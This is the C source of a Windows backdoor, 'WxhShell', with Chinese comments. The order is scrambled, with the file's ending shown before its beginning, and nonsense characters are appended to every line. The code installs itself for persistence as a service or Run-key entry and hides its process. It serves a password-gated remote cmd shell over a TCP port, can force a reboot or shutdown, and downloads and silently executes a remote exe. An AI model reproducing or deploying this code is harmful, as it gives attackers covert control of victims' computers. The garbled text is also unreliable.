    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0g=`DSC<(  
    if(Boot(SHUTDOWN)) "Fnq>iR-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }|wv]U~  
    else { : c.JhE3D  
    closesocket(wsh); q%/uQT?  
    ExitThread(0); Y[ zZw~yx  
    } r&3pM2Da}  
    break; r"{<%e  
    } ,Zf 9RM  
  // 获取shell o[\HOe~;  
  case 's': { p9qKLJ*.C  
    CmdShell(wsh); $m| V :/  
    closesocket(wsh); d 8o53a]  
    ExitThread(0); -db75=  
    break; M+P$/Wk  
  } ^%>kO,  
  // 退出 m D58T2 Z  
  case 'x': { =L-I-e97@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F<&!b2)ML  
    CloseIt(wsh); LnsD  
    break; ;xYNX  
    } CE%_A[a  
  // 离开 %O[N}_XHEh  
  case 'q': { JXqr3 Np1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l$xxrb9P!  
    closesocket(wsh); GqKsK r2%  
    WSACleanup(); zaimGMJ ,  
    exit(1); TQ@d~GR  
    break; Wp0 Dq(  
        } }8K4-[\  
  } TbvtqM 0  
  } ]lOh&Cz[  
/+]s.V.  
  // 提示信息 s +s" MI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,e722wz  
} NH A5e<  
  } b1#dz]  
v-b0\_  
  return; lUOvm\  
} $md%x mQ[  
c=O,;lWFqm  
// shell模块句柄 *Zk>2<^R  
int CmdShell(SOCKET sock) &a0r%L()X  
{ g" VMeW^  
STARTUPINFO si; 23F/\2MSG  
ZeroMemory(&si,sizeof(si)); u.XQ&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `:NaEF?Sj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TUK"nKSZ`.  
PROCESS_INFORMATION ProcessInfo; ,:2'YB  
char cmdline[]="cmd"; LNYKm~c N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c}Z6V1]QP  
  return 0; r,1e 'd:  
} }T2xXbU  
k?B[>aQn.0  
// 自身启动模式 )!bUR\  
int StartFromService(void) Uz7oL8  
{ %r\n%$@_  
typedef struct 21X`h3+=  
{ Dim> 7Wbh  
  DWORD ExitStatus; "r4AY  
  DWORD PebBaseAddress; N2r/ho}8  
  DWORD AffinityMask; uN*KHE+h  
  DWORD BasePriority; op2Of<{h  
  ULONG UniqueProcessId; F9"w6;hh  
  ULONG InheritedFromUniqueProcessId; 4R^mI  
}   PROCESS_BASIC_INFORMATION; n.MRz WJpZ  
gmKGy@]  
PROCNTQSIP NtQueryInformationProcess; =W bOwI)u  
nQX+pkJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (IqZ@->nw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /1=4"|q>h'  
Rd \.:u  
  HANDLE             hProcess; H9XvO  
  PROCESS_BASIC_INFORMATION pbi; ~/pzxo$  
Qd_6)M-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Kb#4ILA  
  if(NULL == hInst ) return 0; S^@S%Eg  
:$;Fhf<5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a]17qMl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7w :ef0S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  .~A*=  
GYxM0~:$k  
  if (!NtQueryInformationProcess) return 0; SvM6iZ]  
S_ MyoXV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z}QwP~Z  
  if(!hProcess) return 0; H(c72]@Vg  
lf{e[!ML'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~)LH='|h\}  
k %e^kej  
  CloseHandle(hProcess); {R<Ea @LV+  
>zsid:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /-_=nf}w  
if(hProcess==NULL) return 0; x5`br.b  
H`bSYjgM!  
HMODULE hMod; K%<j=c  
char procName[255]; g6@Fp7T  
unsigned long cbNeeded; xJ^>pg8  
G@FI0\t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oBQ#eW aY  
$E<Esf$  
  CloseHandle(hProcess); fqX"Lus `=  
y.5/?{GL  
if(strstr(procName,"services")) return 1; // 以服务启动 00I}o%akO  
Ars687WB  
  return 0; // 注册表启动 s4Sd>D 7  
} ^'CPM6J  
Xp\/YJOibd  
// 主模块 OMhef,,H  
int StartWxhshell(LPSTR lpCmdLine) w{[=l6L m  
{ 4%4avEa"w  
  SOCKET wsl; (fNUj4[  
BOOL val=TRUE; v 8T$ &-HJ  
  int port=0; ;{ i'#rn{  
  struct sockaddr_in door; 0nn okN^  
mpAR7AG6  
  if(wscfg.ws_autoins) Install(); K 8n4oz#z  
>EL)X #e  
port=atoi(lpCmdLine); hT$~ygQ  
0iULCK  
if(port<=0) port=wscfg.ws_port; H9h@sSg  
IEKU-k7}Z  
  WSADATA data; #_lt~^ 6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C{sLz9  
 S( S#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /MY9 >  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z,qRcO&  
  door.sin_family = AF_INET; ~!s-o|N_\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $vHU$lZ/W  
  door.sin_port = htons(port); Zfk*HV#\  
\k;`}3 uO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s]mo$ _na  
closesocket(wsl); R>DaOH2K*  
return 1; `U+l?S^$  
} [A}rbD K  
Q-ni|  
  if(listen(wsl,2) == INVALID_SOCKET) { 4h5g'!9-g  
closesocket(wsl); b'VV'+|  
return 1; 5MFxo63  
} ,jXM3?>B  
  Wxhshell(wsl); O^/Maa/D1  
  WSACleanup(); I1[g&9,  
A7(hw~+@  
return 0; ,Y 3W?  
+!QJTn"3  
} $0bjKy  
6KD `oUx  
// 以NT服务方式启动 <%xS{!'}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hzrtlet  
{ [: xiZ  
DWORD   status = 0; +/#Ei'do  
  DWORD   specificError = 0xfffffff; >=]'hyn]]  
f;/QJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [V4{c@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /Q,{?';~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; USFD y  
  serviceStatus.dwWin32ExitCode     = 0; 763+uFx^  
  serviceStatus.dwServiceSpecificExitCode = 0; &/Ro lIHF  
  serviceStatus.dwCheckPoint       = 0; 2X:4CC%5  
  serviceStatus.dwWaitHint       = 0; t){"Tf c:  
2o>)7^9|#<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 83;NIE;  
  if (hServiceStatusHandle==0) return; }FzqW*4~  
WL`9~S  
status = GetLastError(); ypJ".  
  if (status!=NO_ERROR) p>_;^&>&  
{ Vy_2.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  8q1wHZ  
    serviceStatus.dwCheckPoint       = 0; kId n6 Wx,  
    serviceStatus.dwWaitHint       = 0; hFiIW77 s2  
    serviceStatus.dwWin32ExitCode     = status; `%09xMPu  
    serviceStatus.dwServiceSpecificExitCode = specificError; mhW-J6u*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )'*5R<#  
    return; 9-]i.y  
  } DGevE~  
,f1q)Qf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >~K qg~  
  serviceStatus.dwCheckPoint       = 0; rDm'Z>nTf  
  serviceStatus.dwWaitHint       = 0; jy]JiQ B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `DT3x{}_S  
} 8k(P,o  
)xb|3&+W  
// 处理NT服务事件,比如:启动、停止 Rb(SBa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >J|]moSVA  
{ TYI7<-Mp:[  
switch(fdwControl) >vuY+o;B  
{ e" ]2=5g  
case SERVICE_CONTROL_STOP: %cE 2s`  
  serviceStatus.dwWin32ExitCode = 0;  9CCkqB/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )5|I_PXB  
  serviceStatus.dwCheckPoint   = 0; ='TE,et@d  
  serviceStatus.dwWaitHint     = 0; +za8=`2o  
  { XQ4G)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z}|(F RVk  
  } w[6J `   
  return; : Sq?a0!S  
case SERVICE_CONTROL_PAUSE: 0%) i<a!_Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @iEA:?9uX  
  break; 4A9{=~nwT  
case SERVICE_CONTROL_CONTINUE: ?|:BuHkT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O@?k T;B  
  break; zni)<fmju  
case SERVICE_CONTROL_INTERROGATE: Isx#9C  
  break;  BUwONF  
}; RxMH!^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ORu2V# Z[  
} -{`@=U  
;/j= Ny{9  
// 标准应用程序主函数 [!%![E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `b c;]@"  
{ BL 3gKx.'  
a,78l@d(  
// 获取操作系统版本 (%O@r!{  
OsIsNt=GetOsVer(); +:3*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iMfngIs |  
XJ2^MF2BU  
  // 从命令行安装 kh%{C] ".1  
  if(strpbrk(lpCmdLine,"iI")) Install(); jYiv'6z  
9o>8o  
  // 下载执行文件 Z'H5,)j0R  
if(wscfg.ws_downexe) { &i!vd/*WlD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g#]wLm#  
  WinExec(wscfg.ws_filenam,SW_HIDE); @y31NH(  
} waKT{5k  
$ "Bh]-  
if(!OsIsNt) { QMEcQV>  
// 如果时win9x,隐藏进程并且设置为注册表启动 (|wz7 AY2  
HideProc(); R0oKbs{  
StartWxhshell(lpCmdLine); WW~+?g5  
} G|\^{ 5   
else f<A5?eKw  
  if(StartFromService()) .Vq)zi1<  
  // 以服务方式启动 ]tY ^0a  
  StartServiceCtrlDispatcher(DispatchTable); &CwFdx:Ff  
else r=c<--_@  
  // 普通方式启动 N25V ]  
  StartWxhshell(lpCmdLine); ;;A2!w{}[i  
97)/"i e  
return 0; m[k_>e\ u  
} 85;b9k&\M  
?'"X"@r5  
9;xM%  
TNJG#8n%Y  
=========================================== GUQ{r!S  
 ["}rk  
#Wu*3&a]yU  
![f ![l  
~n}k\s~|4  
+{]xtQB=,{  
" H~ u[3LQz  
wW>)(&!F  
#include <stdio.h> w\}?(uO  
#include <string.h> >[6{LAe~hp  
#include <windows.h> fb  da  
#include <winsock2.h> LSQz"Ll l  
#include <winsvc.h> _e9:me5d"$  
#include <urlmon.h> ?JxbSK#  
"`[!Lz  
#pragma comment (lib, "Ws2_32.lib") tTU=+*Io  
#pragma comment (lib, "urlmon.lib") e$Y[Z{T5  
GA`PY-Vs)  
#define MAX_USER   100 // 最大客户端连接数 e *j.  
#define BUF_SOCK   200 // sock buffer V(Yxh+KU  
#define KEY_BUFF   255 // 输入 buffer %7g:}O$  
1wW)tNKIF  
#define REBOOT     0   // 重启 /k"`7`!  
#define SHUTDOWN   1   // 关机 _20#2i&  
i_][P TH  
#define DEF_PORT   5000 // 监听端口 w{k)XY40sW  
dJ?XPo"Cm=  
#define REG_LEN     16   // 注册表键长度 Cye$H9 2  
#define SVC_LEN     80   // NT服务名长度 ={?v Ab:  
7H>@iI"?  
// 从dll定义API n[YEOkiG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;+1RU v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XhsTT2B   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~ 8aJ S,u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X0*QV- RN  
ps$7bN C  
// wxhshell配置信息 LK"  bC  
struct WSCFG { fIGFHZy,  
  int ws_port;         // 监听端口 8QK5z;E2~  
  char ws_passstr[REG_LEN]; // 口令 >MJg ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no LW:o8ES33  
  char ws_regname[REG_LEN]; // 注册表键名 [31p&FxM  
  char ws_svcname[REG_LEN]; // 服务名 #yI.nzA*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PR|R`.QSs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,#W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s( <uo{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wv^rS^~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8P: Rg%0)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *Ei|fe$sa  
0q\7C[R_  
}; `"@X.}\  
m`6Yc:@E  
// default Wxhshell configuration A8A ~!2V  
struct WSCFG wscfg={DEF_PORT, oUQ07z\C  
    "xuhuanlingzhe", .Wi{lt  
    1, a^5^gId5l!  
    "Wxhshell", A[WV'!A,  
    "Wxhshell", ceGa([#!\_  
            "WxhShell Service", e4FM} z[  
    "Wrsky Windows CmdShell Service", 1y^K/.5-  
    "Please Input Your Password: ", )6~1 ^tD  
  1, d3^OEwe  
  "http://www.wrsky.com/wxhshell.exe", rw)kAe31  
  "Wxhshell.exe" v+"rZ  
    }; '&;yT[  
aQ j*KMc  
// 消息定义模块 `MP|Ovns:H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fA48(0p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fri0XxF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mW%?>Z1=>d  
char *msg_ws_ext="\n\rExit."; 22(*J<  
char *msg_ws_end="\n\rQuit."; BK,sc'b  
char *msg_ws_boot="\n\rReboot..."; l<(Y_PE:  
char *msg_ws_poff="\n\rShutdown..."; ~7!7\i,Y8\  
char *msg_ws_down="\n\rSave to "; N)% ;jh:T  
yk2!8  
char *msg_ws_err="\n\rErr!"; 3\;27&~gV  
char *msg_ws_ok="\n\rOK!"; W(fr<<hL  
l8K5k:XCU3  
char ExeFile[MAX_PATH]; 27ckdyQx  
int nUser = 0; X}P$emr7  
HANDLE handles[MAX_USER]; KNgH|5Pb  
int OsIsNt; EliTFxp  
Cc?TSZ8[  
SERVICE_STATUS       serviceStatus; \8O O)98'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -)!> M>=s  
Ch )dLPz@  
// 函数声明 l!E7A Kk8  
int Install(void); #<( = }?  
int Uninstall(void); ,a?\M M9$  
int DownloadFile(char *sURL, SOCKET wsh); ~8`:7m?  
int Boot(int flag); S'~o,`xy  
void HideProc(void); <*H^(0  
int GetOsVer(void); 8&"(WuZ@  
int Wxhshell(SOCKET wsl); ;jK#[*y  
void TalkWithClient(void *cs); }_QKJw6/"  
int CmdShell(SOCKET sock);  t4Z  
int StartFromService(void); O?EB8RB  
int StartWxhshell(LPSTR lpCmdLine); Q '(ihUq*k  
+&KQ28r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bshGS8O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -G &_^"=R  
HEqWoV]{d  
// 数据结构和表定义 /W#O +  
SERVICE_TABLE_ENTRY DispatchTable[] = 3>z[PPw  
{ ;evCW$G=  
{wscfg.ws_svcname, NTServiceMain}, +kdySWF  
{NULL, NULL} mxSKG> O  
}; "HM{b?N  
OEr:xK2T  
// 自我安装 Q4s&E\}  
int Install(void) =R*Gk4<Y  
{ v;y0jD#b  
  char svExeFile[MAX_PATH]; xa( m5P  
  HKEY key; V@=V5bZLs  
  strcpy(svExeFile,ExeFile); %,b X/!  
#y]3LC#)^G  
// 如果是win9x系统,修改注册表设为自启动 yj@tV2  
if(!OsIsNt) { M4Z@O3OI E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ANH4IYd3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P,gdnV ^  
  RegCloseKey(key); 151tXSzLT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A CNfS9M_w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2=PBxDs;  
  RegCloseKey(key); ghk5rl$   
  return 0; e`{0d{Nd  
    } | P6EO22p  
  } I.}1JJF*   
} _baYn`tFw-  
else { s_jBu  
4aZCFdc  
// 如果是NT以上系统,安装为系统服务 ,$r2gr!_G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X_; *`,<T  
if (schSCManager!=0) B'>*[!A  
{ dw@E)  
  SC_HANDLE schService = CreateService ]8U ~Iy  
  ( ]0c Pml  
  schSCManager, KiLvI,9y  
  wscfg.ws_svcname, z)F#u:t  
  wscfg.ws_svcdisp, `NwdbKX  
  SERVICE_ALL_ACCESS, oL/o*^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (U.**9b;  
  SERVICE_AUTO_START, Tc ZnmN  
  SERVICE_ERROR_NORMAL, E(+T*  
  svExeFile, )&W|QH=AI  
  NULL,  e/e0d<(1  
  NULL, dhRJg"vrQ  
  NULL, 7INk_2  
  NULL, a ib}`l  
  NULL ^[h2%c$  
  ); 2xmk,&s  
  if (schService!=0) HOYq?40.R  
  { nYv#4*  
  CloseServiceHandle(schService); ^6/j_G  
  CloseServiceHandle(schSCManager); ;np_%?is  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i8V0Ty4~N  
  strcat(svExeFile,wscfg.ws_svcname); ]S8LY.Az5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CKARg8o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6i@ub%qq  
  RegCloseKey(key); 4 9w=kzo  
  return 0;  0V11#   
    } >?XbU}  
  } o0;7b>Tv  
  CloseServiceHandle(schSCManager); eFQQW`J  
} 3_qdJ<,  
} 9n}A ^  
p?rK`$U+J  
return 1; ;?6>mh(`  
} L@|#Bbmx  
y{rn-?`{  
// 自我卸载 C@dGWAG  
int Uninstall(void) @vH2Vydu  
{ 5ouQQ)vA  
  HKEY key; ^/KfH &E  
 ';lfS  
if(!OsIsNt) { |n P_<9[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +802`eax  
  RegDeleteValue(key,wscfg.ws_regname); C@@$"}%v2  
  RegCloseKey(key); 6c\DJD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :zL393(  
  RegDeleteValue(key,wscfg.ws_regname); oXc/#{NC  
  RegCloseKey(key); j8 H Oc(  
  return 0; ?M&4pO&Y  
  } nlfPg-78B+  
} 4UCwT1  
} nTZ> |R)  
else { S!j^|!  
wkT;a&_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J9@}DB  
if (schSCManager!=0) 5g NLO\  
{ `mErF%b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); huAyjo  
  if (schService!=0) \y*j4 0  
  { vj3isI4lU  
  if(DeleteService(schService)!=0) { *C_[jk@6  
  CloseServiceHandle(schService); 1)U} i ^  
  CloseServiceHandle(schSCManager); F!CAitxd  
  return 0; Dr 'sIH^  
  } [,7-w  
  CloseServiceHandle(schService); S[U/qO)m  
  } N#Ag'i4HF  
  CloseServiceHandle(schSCManager); GoeIjuELR  
} k}B DA|\s  
} ]bfqcmh<  
N$'>XtO  
return 1; hPPB45^  
} kME^tpji  
 rA#s   
// 从指定url下载文件 G.ud1,S#  
int DownloadFile(char *sURL, SOCKET wsh) IIP.yyh>  
{ *]!l%Uf%  
  HRESULT hr; (UzPklkZ  
char seps[]= "/"; iBHw[X,b  
char *token; t{ H 1u  
char *file; STlPT5e.}  
char myURL[MAX_PATH]; ;f(n.i  
char myFILE[MAX_PATH]; =jUnM> 23  
56ZrCr  
strcpy(myURL,sURL); 0ny{)Sd6um  
  token=strtok(myURL,seps); VCf|`V~G  
  while(token!=NULL) 0#`)Prop6  
  { l:z };  
    file=token; FQ##397  
  token=strtok(NULL,seps); 7:kCb[ji"  
  } EW;1`x  
;.0LRWcJ  
GetCurrentDirectory(MAX_PATH,myFILE); `e*61k5  
strcat(myFILE, "\\"); [0op)Kn  
strcat(myFILE, file); a 2Et,WA%  
  send(wsh,myFILE,strlen(myFILE),0); a>(~C'(<  
send(wsh,"...",3,0); Gt'/D>FE0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U9F6d!:L7A  
  if(hr==S_OK) sS'{QIRC'  
return 0; ' fl(N2t  
else RO$*G jQd  
return 1; ]+lF=kkc %  
\4@a  
} ^?sSx!:bZ  
V g6S/-  
// 系统电源模块 !=knppY  
int Boot(int flag) +U=KXv  
{ u7u~  
  HANDLE hToken; p|s2G~0<  
  TOKEN_PRIVILEGES tkp; s[Gswd  
<)J55++  
  if(OsIsNt) { Re\o v x9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P,`=]Y*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hG~Uz   
    tkp.PrivilegeCount = 1; +Wd L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (-'PD_|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /xf.\Z7<  
if(flag==REBOOT) { C,3T!\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hi7G/2t@`  
  return 0; d1lH[r!Z  
} lux9o$ %  
else { rxArTpS{.#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X_!$Pk7ma  
  return 0; _;V YFs  
} .Map   
  } K_FBy  
  else { a^x  0 l  
if(flag==REBOOT) { ja:\W\xhJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5 Af?Yxv  
  return 0; v'$ykZ!Z  
} uAQg"j  
else { 3m~U(yho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Y>U6  
  return 0; ?qIGQ/af&  
} .:SfM r;G  
} 6iyt2q kh  
Jb 6&  
return 1; qWkx:-g]  
} Mi;Tn;3er  
:g/{(#E@Z  
// win9x进程隐藏模块 {YfYIt=.  
void HideProc(void) 2t.fD@  
{ TiTYs  
5%#i79z&B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); + p'\(Z(  
  if ( hKernel != NULL )  @}Pw0vC  
  { s?HsUD$b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r@;$V_I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %va[jJ  
    FreeLibrary(hKernel); U <|B7t4M  
  } "hfw9Qm  
$*wu~  
return; Km%8Yw0+  
} sAf9rZt*'  
]KzJ u`O%G  
// 获取操作系统版本 `dP? 2-Z  
int GetOsVer(void) -IGMl_s  
{ [10$a(g\x  
  OSVERSIONINFO winfo; x9 TuweG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cFe V?a  
  GetVersionEx(&winfo); ;,R[]B01u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E=3#TBd  
  return 1; :E}6S  
  else &(GopWR`e  
  return 0; 8 `yB  
} v)TUg0U=,  
 $.=5e3  
// 客户端句柄模块 &C\=!r0j^  
int Wxhshell(SOCKET wsl) +~@7" |d  
{ tYF$#Nor#k  
  SOCKET wsh; K T%i,T  
  struct sockaddr_in client; }`?7\\6  
  DWORD myID; IwOfZuS  
tP -5  
  while(nUser<MAX_USER) % 1OC#&  
{ E`U &Z  
  int nSize=sizeof(client); tvv[$ b&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]Pz|Oi+]  
  if(wsh==INVALID_SOCKET) return 1; 5Gc_LI&v7  
oXvdR(Sb^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ik8|9m4/  
if(handles[nUser]==0) 9$n+-GSK  
  closesocket(wsh); o$*bm6o  
else Q=dw 6  
  nUser++; oA5<[&~<  
  } -wJ   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q|?`Gsr  
8|fLe\"  
  return 0; D<lQoO+  
} Cln^1N0  
NU BpIx&  
// 关闭 socket 5+o 2 T]  
void CloseIt(SOCKET wsh) J{a Q1)  
{ tvG g@Xs\  
closesocket(wsh); hqdC9?\  
nUser--; 't||F1X~J  
ExitThread(0); >|y>e{P  
} F0X5dv  
7g {g}  
// 客户端请求句柄 Cij$GYkv  
void TalkWithClient(void *cs) >aNbp  
{ |k/`WC6As.  
}x{rTEq  
  SOCKET wsh=(SOCKET)cs; ]t8{)r  
  char pwd[SVC_LEN]; sDW"j\  
  char cmd[KEY_BUFF]; {Q}!NkF 1  
char chr[1]; "FD<^  
int i,j; yd\5Z[iEp  
Krt$=:m|1  
  while (nUser < MAX_USER) { f>.` xC{  
^\xCqVk_R  
if(wscfg.ws_passstr) { FF5tPHB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6:e}v'q{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z_5rAlnwT.  
  //ZeroMemory(pwd,KEY_BUFF); kxt\{iy4  
      i=0; ]Om'naD  
  while(i<SVC_LEN) { ahK?]:&QO  
BYhmJC|  
  // 设置超时 -6.i\ B  
  fd_set FdRead; {o Q(<&Aw  
  struct timeval TimeOut; =*@MQ  
  FD_ZERO(&FdRead); 4f_ZY5=  
  FD_SET(wsh,&FdRead); fU\k?'x_  
  TimeOut.tv_sec=8; P2A]qX  
  TimeOut.tv_usec=0; 5WrIg(l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @S/g,;7"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G~b`O20N  
bW,BhUb,|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }3 fLV  
  pwd=chr[0]; FU [8:o62  
  if(chr[0]==0xd || chr[0]==0xa) { xg*\j)_}  
  pwd=0; ~ z-?rW  
  break; v Ie=wf~D`  
  } __oY:d(~  
  i++; 9b"}CEw  
    } }.fZy&_  
}mT%N eS  
  // 如果是非法用户,关闭 socket RGPU~L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~M9 n<kmE  
} M@LaD 5  
N- ?|]4e/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4[f7X4d$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pi]s<3PL  
WY. \<$7  
while(1) { l.NkS   
|2t7mat  
  ZeroMemory(cmd,KEY_BUFF); qeO6}A"^|  
2M( PH]D  
      // 自动支持客户端 telnet标准   BoiIr[ (  
  j=0; kvO`]>#;$?  
  while(j<KEY_BUFF) { %N_S/V0`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ll E_{||h  
  cmd[j]=chr[0]; G~$M"@Q7N  
  if(chr[0]==0xa || chr[0]==0xd) { li'1RKr  
  cmd[j]=0; 0.+Z;j  
  break; g9r5t';  
  } W0?Y%Da(4m  
  j++; 51(`wo>LS  
    } B6!<@* BI  
IkXKt8`YVA  
  // 下载文件 |EEz>ci  
  if(strstr(cmd,"http://")) { S bqM=I+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p~zTRnm  
  if(DownloadFile(cmd,wsh)) a518N*]j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uL2 {v  
  else Vwh&^{Eh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qu~"C,   
  } OaCj3d>  
  else { DSG +TA"  
^[?+=1 k  
